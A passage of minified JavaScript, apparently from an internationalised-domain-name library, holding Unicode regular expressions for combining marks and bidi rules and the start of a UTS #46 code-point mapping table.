u{1D456}-\u{1D49C}\u{1D49E}\u{1D49F}\u{1D4A2}\u{1D4A5}\u{1D4A6}\u{1D4A9}-\u{1D4AC}\u{1D4AE}-\u{1D4B9}\u{1D4BB}\u{1D4BD}-\u{1D4C3}\u{1D4C5}-\u{1D505}\u{1D507}-\u{1D50A}\u{1D50D}-\u{1D514}\u{1D516}-\u{1D51C}\u{1D51E}-\u{1D539}\u{1D53B}-\u{1D53E}\u{1D540}-\u{1D544}\u{1D546}\u{1D54A}-\u{1D550}\u{1D552}-\u{1D6A5}\u{1D6A8}-\u{1D6C0}\u{1D6C2}-\u{1D6DA}\u{1D6DC}-\u{1D6FA}\u{1D6FC}-\u{1D714}\u{1D716}-\u{1D734}\u{1D736}-\u{1D74E}\u{1D750}-\u{1D76E}\u{1D770}-\u{1D788}\u{1D78A}-\u{1D7A8}\u{1D7AA}-\u{1D7C2}\u{1D7C4}-\u{1D7CB}\u{1D7CE}-\u{1D9FF}\u{1DA37}-\u{1DA3A}\u{1DA6D}-\u{1DA74}\u{1DA76}-\u{1DA83}\u{1DA85}-\u{1DA8B}\u{1DF00}-\u{1DF1E}\u{1DF25}-\u{1DF2A}\u{1E030}-\u{1E06D}\u{1E100}-\u{1E12C}\u{1E137}-\u{1E13D}\u{1E140}-\u{1E149}\u{1E14E}\u{1E14F}\u{1E290}-\u{1E2AD}\u{1E2C0}-\u{1E2EB}\u{1E2F0}-\u{1E2F9}\u{1E4D0}-\u{1E4EB}\u{1E4F0}-\u{1E4F9}\u{1E5D0}-\u{1E5ED}\u{1E5F0}-\u{1E5FA}\u{1E5FF}\u{1E7E0}-\u{1E7E6}\u{1E7E8}-\u{1E7EB}\u{1E7ED}\u{1E7EE}\u{1E7F0}-\u{1E7FE}\u{1F100}-\u{1F10A}\u{1F110}-\u{1F12E}\u{1F130}-\u{1F169}\u{1F170}-\u{1F1AC}\u{1F1E6}-\u{1F202}\u{1F210}-\u{1F23B}\u{1F240}-\u{1F248}\u{1F250}\u{1F251}\u{1FBF0}-\u{1FBF9}\u{20000}-\u{2A6DF}\u{2A700}-\u{2B739}\u{2B740}-\u{2B81D}\u{2B820}-\u{2CEA1}\u{2CEB0}-\u{2EBE0}\u{2EBF0}-\u{2EE5D}\u{2F800}-\u{2FA1D}\u{30000}-\u{3134A}\u{31350}-\u{323AF}\u{F0000}-\u{FFFFD}\u{100000}-\u{10FFFD}][\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0897-\u089F\u08CA-\u08E1\u08E3-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81\u0CBC\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0F18\u0F19\u0F35\u0F37\u0F39\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DFF\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302D\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA825\uA826\uA82C\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uABE5\uABE8\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10D69}-\u{10D6D}\u{10EAB}\u{10EAC}\u{10EFC}-\u{10EFF}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11001}\u{11038}-\u{11046}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{111CF}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{11241}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{113BB}-\u{113C0}\u{113CE}\u{113D0}\u{113D2}\u{113E1}\u{113E2}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{1193B}\u{1193C}\u{1193E}\u{11943}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A06}\u{11A09}\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{11F00}\u{11F01}\u{11F36}-\u{11F3A}\u{11F40}\u{11F42}\u{11F5A}\u{13440}\u{13447}-\u{13455}\u{1611E}-\u{16129}\u{1612D}-\u{1612F}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{16FE4}\u{1BC9D}\u{1BC9E}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D167}-\u{1D169}\u{1D17B}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E08F}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E4EC}-\u{1E4EF}\u{1E5EE}\u{1E5EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{E0100}-\u{E01EF}]*$/u;Fl4.exports={combiningMarks:qi9,combiningClassVirama:Yi9,validZWNJ:zi9,bidiDomain:wi9,bidiS1LTR:Hi9,bidiS1RTL:Ji9,bidiS2:Oi9,bidiS3:Xi9,bidiS4EN:$i9,bidiS4AN:_i9,bidiS5:Gi9,bidiS6:Zi9}});var Ul4=v((xNw,Wi9)=>{Wi9.exports=[[[0,44],2],[[45,46],2],[47,2],[[48,57],2],[[58,64],2],[65,1,"a"],[66,1,"b"],[67,1,"c"],[68,1,"d"],[69,1,"e"],[70,1,"f"],[71,1,"g"],[72,1,"h"],[73,1,"i"],[74,1,"j"],[75,1,"k"],[76,1,"l"],[77,1,"m"],[78,1,"n"],[79,1,"o"],[80,1,"p"],[81,1,"q"],[82,1,"r"],[83,1,"s"],[84,1,"t"],[85,1,"u"],[86,1,"v"],[87,1,"w"],[88,1,"x"],[89,1,"y"],[90,1,"z"],[[91,96],2],[[97,122],2],[[123,127],2],[[128,159],3],[160,1," "],[[161,167],2],[168,1," ̈"],[169,2],[170,1,"a"],[[171,172],2],[173,7],[174,2],[175,1," ̄"],[[176,177],2],[178,1,"2"],[179,1,"3"],[180,1," ́"],[181,1,"μ"],[182,2],[183,2],[184,1," ̧"],[185,1,"1"],[186,1,"o"],[187,2],[188,1,"1⁄4"],[189,1,"1⁄2"],[190,1,"3⁄4"],[191,2],[192,1,"à"],[193,1,"á"],[194,1,"â"],[195,1,"ã"],[196,1,"ä"],[197,1,"å"],[198,1,"æ"],[199,1,"ç"],[200,1,"è"],[201,1,"é"],[202,1,"ê"],[203,1,"ë"],[204,1,"ì"],[205,1,"í"],[206,1,"î"],[207,1,"ï"],[208,1,"ð"],[209,1,"ñ"],[210,1,"ò"],[211,1,"ó"],[212,1,"ô"],[213,1,"õ"],[214,1,"ö"],[215,2],[216,1,"ø"],[217,1,"ù"],[218,1,"ú"],[219,1,"û"],[220,1,"ü"],[221,1,"ý"],[222,1,"þ"],[223,6,"ss"],[[224,246],2],[247,2],[[248,255],2],[256,1,"ā"],[257,2],[258,1,"ă"],[259,2],[260,1,"ą"],[261,2],[262,1,"ć"],[263,2],[264,1,"ĉ"],[265,2],[266,1,"ċ"],[267,2],[268,1,"č"],[269,2],[270,1,"ď"],[271,2],[272,1,"đ"],[273,2],[274,1,"ē"],[275,2],[276,1,"ĕ"],[277,2],[278,1,"ė"],[279,2],[280,1,"ę"],[281,2],[282,1,"ě"],[283,2],[284,1,"ĝ"],[285,2],[286,1,"ğ"],[287,2],[288,1,"ġ"],[289,2],[290,1,"ģ"],[291,2],[292,1,"ĥ"],[293,2],[294,1,"ħ"],[295,2],[296,1,"ĩ"],[297,2],[298,1,"ī"],[299,2],[300,1,"ĭ"],[301,2],[302,1,"į"],[303,2],[304,1,"i̇"],[305,2],[[306,307],1,"ij"],[308,1,"ĵ"],[309,2],[310,1,"ķ"],[[311,312],2],[313,1,"ĺ"],[314,2],[315,1,"ļ"],[316,2],[317,1,"ľ"],[318,2],[[319,320],1,"l·"],[321,1,"ł"],[322,2],[323,1,"ń"],[324,2],[325,1,"ņ"],[326,2],[327,1,"ň"],[328,2],[329,1,"ʼn"],[330,1,"ŋ"],[331,2],[332,1,"ō"],[333,2],[334,1,"ŏ"],[335,2],[336,1,"ő"],[337,2],[338,1,"œ"],[339,2],[340,1,"ŕ"],[341,2],[342,1,"ŗ"],[343,2],[344,1,"ř"],[345,2],[346,1,"ś"],[347,2],[348,1,"ŝ"],[349,2],[350,1,"ş"],[351,2],[352,1,"š"],[353,2],[354,1,"ţ"],[355,2],[356,1,"ť"],[357,2],[358,1,"ŧ"],[359,2],[360,1,"ũ"],[361,2],[362,1,"ū"],[363,2],[364,1,"ŭ"],[365,2],[366,1,"ů"],[367,2],[368,1,"ű"],[369,2],[370,1,"ų"],[371,2],[372,1,"ŵ"],[373,2],[374,1,"ŷ"],[375,2],[376,1,"ÿ"],[377,1,"ź"],[378,2],[379,1,"ż"],[380,2],[381,1,"ž"],[382,2],[383,1,"s"],[384,2],[385,1,"ɓ"],[386,1,"ƃ"],[387,2],[388,1,"ƅ"],[389,2],[390,1,"ɔ"],[391,1,"ƈ"],[392,2],[393,1,"ɖ"],[394,1,"ɗ"],[395,1,"ƌ"],[[396,397],2],[398,1,"ǝ"],[399,1,"ə"],[400,1,"ɛ"],[401,1,"ƒ"],[402,2],[403,1,"ɠ"],[404,1,"ɣ"],[405,2],[406,1,"ɩ"],[407,1,"ɨ"],[408,1,"ƙ"],[[409,411],2],[412,1,"ɯ"],[413,1,"ɲ"],[414,2],[415,1,"ɵ"],[416,1,"ơ"],[417,2],[418,1,"ƣ"],[419,2],[420,1,"ƥ"],[421,2],[422,1,"ʀ"],[423,1,"ƨ"],[424,2],[425,1,"ʃ"],[[426,427],2],[428,1,"ƭ"],[429,2],[430,1,"ʈ"],[431,1,"ư"],[432,2],[433,1,"ʊ"],[434,1,"ʋ"],[435,1,"ƴ"],[436,2],[437,1,"ƶ"],[438,2],[439,1,"ʒ"],[440,1,"ƹ"],[[441,443],2],[444,1,"ƽ"],[[445,451],2],[[452,454],1,"dž"],[[455,457],1,"lj"],[[458,460],1,"nj"],[461,1,"ǎ"],[462,2],[463,1,"ǐ"],[464,2],[465,1,"ǒ"],[466,2],[467,1,"ǔ"],[468,2],[469,1,"ǖ"],[470,2],[471,1,"ǘ"],[472,2],[473,1,"ǚ"],[474,2],[475,1,"ǜ"],[[476,477],2],[478,1,"ǟ"],[479,2],[480,1,"ǡ"],[481,2],[482,1,"ǣ"],[483,2],[484,1,"ǥ"],[485,2],[486,1,"ǧ"],[487,2],[488,1,"ǩ"],[489,2],[490,1,"ǫ"],[491,2],[492,1,"ǭ"],[493,2],[494,1,"ǯ"],[[495,496],2],[[497,499],1,"dz"],[500,1,"ǵ"],[501,2],[502,1,"ƕ"],[503,1,"ƿ"],[504,1,"ǹ"],[505,2],[506,1,"ǻ"],[507,2],[508,1,"ǽ"],[509,2],[510,1,"ǿ"],[511,2],[512,1,"ȁ"],[513,2],[514,1,"ȃ"],[515,2],[516,1,"ȅ"],[517,2],[518,1,"ȇ"],[519,2],[520,1,"ȉ"],[521,2],[522,1,"ȋ"],[523,2],[524,1,"ȍ"],[525,2],[526,1,"ȏ"],[527,2],[528,1,"ȑ"],[529,2],[530,1,"ȓ"],[531,2],[532,1,"ȕ"],[533,2],[534,1,"ȗ"],[535,2],[536,1,"ș"],[537,2],[538,1,"ț"],[539,2],[540,1,"ȝ"],[541,2],[542,1,"ȟ"],[543,2],[544,1,"ƞ"],[545,2],[546,1,"ȣ"],[547,2],[548,1,"ȥ"],[549,2],[550,1,"ȧ"],[551,2],[552,1,"ȩ"],[553,2],[554,1,"ȫ"],[555,2],[556,1,"ȭ"],[557,2],[558,1,"ȯ"],[559,2],[560,1,"ȱ"],[561,2],[562,1,"ȳ"],[563,2],[[564,566],2],[[567,569],2],[570,1,"ⱥ"],[571,1,"ȼ"],[572,2],[573,1,"ƚ"],[574,1,"ⱦ"],[[575,576],2],[577,1,"ɂ"],[578,2],[579,1,"ƀ"],[580,1,"ʉ"],[581,1,"ʌ"],[582,1,"ɇ"],[583,2],[584,1,"ɉ"],[585,2],[586,1,"ɋ"],[587,2],[588,1,"ɍ"],[589,2],[590,1,"ɏ"],[591,2],[[592,680],2],[[681,685],2],[[686,687],2],[688,1,"h"],[689,1,"ɦ"],[690,1,"j"],[691,1,"r"],[692,1,"ɹ"],[693,1,"ɻ"],[694,1,"ʁ"],[695,1,"w"],[696,1,"y"],[[697,705],2],[[706,709],2],[[710,721],2],[[722,727],2],[728,1," ̆"],[729,1," ̇"],[730,1," ̊"],[731,1," ̨"],[732,1," ̃"],[733,1," ̋"],[734,2],[735,2],[736,1,"ɣ"],[737,1,"l"],[738,1,"s"],[739,1,"x"],[740,1,"ʕ"],[[741,745],2],[[746,747],2],[748,2],[749,2],[750,2],[[751,767],2],[[768,831],2],[832,1,"̀"],[833,1,"́"],[834,2],[835,1,"̓"],[836,1,"̈́"],[837,1,"ι"],[[838,846],2],[847,7],[[848,855],2],[[856,860],2],[[861,863],2],[[864,865],2],[866,2],[[867,879],2],[880,1,"ͱ"],[881,2],[882,1,"ͳ"],[883,2],[884,1,"ʹ"],[885,2],[886,1,"ͷ"],[887,2],[[888,889],3],[890,1," ι"],[[891,893],2],[894,1,";"],[895,1,"ϳ"],[[896,899],3],[900,1," ́"],[901,1," ̈́"],[902,1,"ά"],[903,1,"·"],[904,1,"έ"],[905,1,"ή"],[906,1,"ί"],[907,3],[908,1,"ό"],[909,3],[910,1,"ύ"],[911,1,"ώ"],[912,2],[913,1,"α"],[914,1,"β"],[915,1,"γ"],[916,1,"δ"],[917,1,"ε"],[918,1,"ζ"],[919,1,"η"],[920,1,"θ"],[921,1,"ι"],[922,1,"κ"],[923,1,"λ"],[924,1,"μ"],[925,1,"ν"],[926,1,"ξ"],[927,1,"ο"],[928,1,"π"],[929,1,"ρ"],[930,3],[931,1,"σ"],[932,1,"τ"],[933,1,"υ"],[934,1,"φ"],[935,1,"χ"],[936,1,"ψ"],[937,1,"ω"],[938,1,"ϊ"],[939,1,"ϋ"],[[940,961],2],[962,6,"σ"],[[963,974],2],[975,1,"ϗ"],[976,1,"β"],[977,1,"θ"],[978,1,"υ"],[979,1,"ύ"],[980,1,"ϋ"],[981,1,"φ"],[982,1,"π"],[983,2],[984,1,"ϙ"],[985,2],[986,1,"ϛ"],[987,2],[988,1,"ϝ"],[989,2],[990,1,"ϟ"],[991,2],[992,1,"ϡ"],[993,2],[994,1,"ϣ"],[995,2],[996,1,"ϥ"],[997,2],[998,1,"ϧ"],[999,2],[1000,1,"ϩ"],[1001,2],[1002,1,"ϫ"],[1003,2],[1004,1,"ϭ"],[1005,2],[1006,1,"ϯ"],[1007,2],[1008,1,"κ"],[1009,1,"ρ"],[1010,1,"σ"],[1011,2],[1012,1,"θ"],[1013,1,"ε"],[1014,2],[1015,1,"ϸ"],[1016,2],[1017,1,"σ"],[1018,1,"ϻ"],[1019,2],[1020,2],[1021,1,"ͻ"],[1022,1,"ͼ"],[1023,1,"ͽ"],[1024,1,"ѐ"],[1025,1,"ё"],[1026,1,"ђ"],[1027,1,"ѓ"],[1028,1,"є"],[1029,1,"ѕ"],[1030,1,"і"],[1031,1,"ї"],[1032,1,"ј"],[1033,1,"љ"],[1034,1,"њ"],[1035,1,"ћ"],[1036,1,"ќ"],[1037,1,"ѝ"],[1038,1,"ў"],[1039,1,"џ"],[1040,1,"а"],[1041,1,"б"],[1042,1,"в"],[1043,1,"г"],[1044,1,"д"],[1045,1,"е"],[1046,1,"ж"],[1047,1,"з"],[1048,1,"и"],[1049,1,"й"],[1050,1,"к"],[1051,1,"л"],[1052,1,"м"],[1053,1,"н"],[1054,1,"о"],[1055,1,"п"],[1056,1,"р"],[1057,1,"с"],[1058,1,"т"],[1059,1,"у"],[1060,1,"ф"],[1061,1,"х"],[1062,1,"ц"],[1063,1,"ч"],[1064,1,"ш"],[1065,1,"щ"],[1066,1,"ъ"],[1067,1,"ы"],[1068,1,"ь"],[1069,1,"э"],[1070,1,"ю"],[1071,1,"я"],[[1072,1103],2],[1104,2],[[1105,1116],2],[1117,2],[[1118,1119],2],[1120,1,"ѡ"],[1121,2],[1122,1,"ѣ"],[1123,2],[1124,1,"ѥ"],[1125,2],[1126,1,"ѧ"],[1127,2],[1128,1,"ѩ"],[1129,2],[1130,1,"ѫ"],[1131,2],[1132,1,"ѭ"],[1133,2],[1134,1,"ѯ"],[1135,2],[1136,1,"ѱ"],[1137,2],[1138,1,"ѳ"],[1139,2],[1140,1,"ѵ"],[1141,2],[1142,1,"ѷ"],[1143,2],[1144,1,"ѹ"],[1145,2],[1146,1,"ѻ"],[1147,2],[1148,1,"ѽ"],[1149,2],[1150,1,"ѿ"],[1151,2],[1152,1,"ҁ"],[1153,2],[1154,2],[[1155,1158],2],[1159,2],[[1160,1161],2],[1162,1,"ҋ"],[1163,2],[1164,1,"ҍ"],[1165,2],[1166,1,"ҏ"],[1167,2],[1168,1,"ґ"],[1169,2],[1170,1,"ғ"],[1171,2],[1172,1,"ҕ"],[1173,2],[1174,1,"җ"],[1175,2],[1176,1,"ҙ"],[1177,2],[1178,1,"қ"],[1179,2],[1180,1,"ҝ"],[1181,2],[1182,1,"ҟ"],[1183,2],[1184,1,"ҡ"],[1185,2],[1186,1,"ң"],[1187,2],[1188,1,"ҥ"],[1189,2],[1190,1,"ҧ"],[1191,2],[1192,1,"ҩ"],[1193,2],[1194,1,"ҫ"],[1195,2],[1196,1,"ҭ"],[1197,2],[1198,1,"ү"],[1199,2],[1200,1,"ұ"],[1201,2],[1202,1,"ҳ"],[1203,2],[1204,1,"ҵ"],[1205,2],[1206,1,"ҷ"],[1207,2],[1208,1,"ҹ"],[1209,2],[1210,1,"һ"],[1211,2],[1212,1,"ҽ"],[1213,2],[1214,1,"ҿ"],[1215,2],[1216,1,"ӏ"],[1217,1,"ӂ"],[1218,2],[1219,1,"ӄ"],[1220,2],[1221,1,"ӆ"],[1222,2],[1223,1,"ӈ"],[1224,2],[1225,1,"ӊ"],[1226,2],[1227,1,"ӌ"],[1228,2],[1229,1,"ӎ"],[1230,2],[1231,2],[1232,1,"ӑ"],[1233,2],[1234,1,"ӓ"],[1235,2],[1236,1,"ӕ"],[1237,2],[1238,1,"ӗ"],[1239,2],[1240,1,"ә"],[1241,2],[1242,1,"ӛ"],[1243,2],[1244,1,"ӝ"],[1245,2],[1246,1,"ӟ"],[1247,2],[1248,1,"ӡ"],[1249,2],[1250,1,"ӣ"],[1251,2],[1252,1,"ӥ"],[1253,2],[1254,1,"ӧ"],[1255,2],[1256,1,"ө"],[1257,2],[1258,1,"ӫ"],[1259,2],[1260,1,"ӭ"],[1261,2],[1262,1,"ӯ"],[1263,2],[1264,1,"ӱ"],[1265,2],[1266,1,"ӳ"],[1267,2],[1268,1,"ӵ"],[1269,2],[1270,1,"ӷ"],[1271,2],[1272,1,"ӹ"],[1273,2],[1274,1,"ӻ"],[1275,2],[1276,1,"ӽ"],[1277,2],[1278,1,"ӿ"],[1279,2],[1280,1,"ԁ"],[1281,2],[1282,1,"ԃ"],[1283,2],[1284,1,"ԅ"],[1285,2],[1286,1,"ԇ"],[1287,2],[1288,1,"ԉ"],[1289,2],[1290,1,"ԋ"],[1291,2],[1292,1,"ԍ"],[1293,2],[1294,1,"ԏ"],[1295,2],[1296,1,"ԑ"],[1297,2],[1298,1,"ԓ"],[1299,2],[1300,1,"ԕ"],[1301,2],[1302,1,"ԗ"],[1303,2],[1304,1,"ԙ"],[1305,2],[1306,1,"ԛ"],[1307,2],[1308,1,"ԝ"],[1309,2],[1310,1,"ԟ"],[1311,2],[1312,1,"ԡ"],[1313,2],[1314,1,"ԣ"],[1315,2],[1316,1,"ԥ"],[1317,2],[1318,1,"ԧ"],[1319,2],[1320,1,"ԩ"],[1321,2],[1322,1,"ԫ"],[1323,2],[1324,1,"ԭ"],[1325,2],[1326,1,"ԯ"],[1327,2],[1328,3],[1329,1,"ա"],[1330,1,"բ"],[1331,1,"գ"],[1332,1,"դ"],[1333,1,"ե"],[1334,1,"զ"],[1335,1,"է"],[1336,1,"ը"],[1337,1,"թ"],[1338,1,"ժ"],[1339,1,"ի"],[1340,1,"լ"],[1341,1,"խ"],[1342,1,"ծ"],[1343,1,"կ"],[1344,1,"հ"],[1345,1,"ձ"],[1346,1,"ղ"],[1347,1,"ճ"],[1348,1,"մ"],[1349,1,"յ"],[1350,1,"ն"],[1351,1,"շ"],[1352,1,"ո"],[1353,1,"չ"],[1354,1,"պ"],[1355,1,"ջ"],[1356,1,"ռ"],[1357,1,"ս"],[1358,1,"վ"],[1359,1,"տ"],[1360,1,"ր"],[1361,1,"ց"],[1362,1,"ւ"],[1363,1,"փ"],[1364,1,"ք"],[1365,1,"օ"],[1366,1,"ֆ"],[[1367,1368],3],[1369,2],[[1370,1375],2],[1376,2],[[1377,1414],2],[1415,1,"եւ"],[1416,2],[1417,2],[1418,2],[[1419,1420],3],[[1421,1422],2],[1423,2],[1424,3],[[1425,1441],2],[1442,2],[[1443,1455],2],[[1456,1465],2],[1466,2],[[1467,1469],2],[1470,2],[1471,2],[1472,2],[[1473,1474],2],[1475,2],[1476,2],[1477,2],[1478,2],[1479,2],[[1480,1487],3],[[1488,1514],2],[[1515,1518],3],[1519,2],[[1520,1524],2],[[1525,1535],3],[[1536,1539],3],[1540,3],[1541,3],[[1542,1546],2],[1547,2],[1548,2],[[1549,1551],2],[[1552,1557],2],[[1558,1562],2],[1563,2],[1564,3],[1565,2],[1566,2],[1567,2],[1568,2],[[1569,1594],2],[[1595,1599],2],[1600,2],[[1601,1618],2],[[1619,1621],2],[[1622,1624],2],[[1625,1630],2],[1631,2],[[1632,1641],2],[[1642,1645],2],[[1646,1647],2],[[1648,1652],2],[1653,1,"اٴ"],[1654,1,"وٴ"],[1655,1,"ۇٴ"],[1656,1,"يٴ"],[[1657,1719],2],[[1720,1721],2],[[1722,1726],2],[1727,2],[[1728,1742],2],[1743,2],[[1744,1747],2],[1748,2],[[1749,1756],2],[1757,3],[1758,2],[[1759,1768],2],[1769,2],[[1770,1773],2],[[1774,1775],2],[[1776,1785],2],[[1786,1790],2],[1791,2],[[1792,1805],2],[1806,3],[1807,3],[[1808,1836],2],[[1837,1839],2],[[1840,1866],2],[[1867,1868],3],[[1869,1871],2],[[1872,1901],2],[[1902,1919],2],[[1920,1968],2],[1969,2],[[1970,1983],3],[[1984,2037],2],[[2038,2042],2],[[2043,2044],3],[2045,2],[[2046,2047],2],[[2048,2093],2],[[2094,2095],3],[[2096,2110],2],[2111,3],[[2112,2139],2],[[2140,2141],3],[2142,2],[2143,3],[[2144,2154],2],[[2155,2159],3],[[2160,2183],2],[2184,2],[[2185,2190],2],[2191,3],[[2192,2193],3],[[2194,2198],3],[2199,2],[[2200,2207],2],[2208,2],[2209,2],[[2210,2220],2],[[2221,2226],2],[[2227,2228],2],[2229,2],[[2230,2237],2],[[2238,2247],2],[[2248,2258],2],[2259,2],[[2260,2273],2],[2274,3],[2275,2],[[2276,2302],2],[2303,2],[2304,2],[[2305,2307],2],[2308,2],[[2309,2361],2],[[2362,2363],2],[[2364,2381],2],[2382,2],[2383,2],[[2384,2388],2],[2389,2],[[2390,2391],2],[2392,1,"क़"],[2393,1,"ख़"],[2394,1,"ग़"],[2395,1,"ज़"],[2396,1,"ड़"],[2397,1,"ढ़"],[2398,1,"फ़"],[2399,1,"य़"],[[2400,2403],2],[[2404,2405],2],[[2406,2415],2],[2416,2],[[2417,2418],2],[[2419,2423],2],[2424,2],[[2425,2426],2],[[2427,2428],2],[2429,2],[[2430,2431],2],[2432,2],[[2433,2435],2],[2436,3],[[2437,2444],2],[[2445,2446],3],[[2447,2448],2],[[2449,2450],3],[[2451,2472],2],[2473,3],[[2474,2480],2],[2481,3],[2482,2],[[2483,2485],3],[[2486,2489],2],[[2490,2491],3],[2492,2],[2493,2],[[2494,2500],2],[[2501,2502],3],[[2503,2504],2],[[2505,2506],3],[[2507,2509],2],[2510,2],[[2511,2518],3],[2519,2],[[2520,2523],3],[2524,1,"ড়"],[2525,1,"ঢ়"],[2526,3],[2527,1,"য়"],[[2528,2531],2],[[2532,2533],3],[[2534,2545],2],[[2546,2554],2],[2555,2],[2556,2],[2557,2],[2558,2],[[2559,2560],3],[2561,2],[2562,2],[2563,2],[2564,3],[[2565,2570],2],[[2571,2574],3],[[2575,2576],2],[[2577,2578],3],[[2579,2600],2],[2601,3],[[2602,2608],2],[2609,3],[2610,2],[2611,1,"ਲ਼"],[2612,3],[2613,2],[2614,1,"ਸ਼"],[2615,3],[[2616,2617],2],[[2618,2619],3],[2620,2],[2621,3],[[2622,2626],2],[[2627,2630],3],[[2631,2632],2],[[2633,2634],3],[[2635,2637],2],[[2638,2640],3],[2641,2],[[2642,2648],3],[2649,1,"ਖ਼"],[2650,1,"ਗ਼"],[2651,1,"ਜ਼"],[2652,2],[2653,3],[2654,1,"ਫ਼"],[[2655,2661],3],[[2662,2676],2],[2677,2],[2678,2],[[2679,2688],3],[[2689,2691],2],[26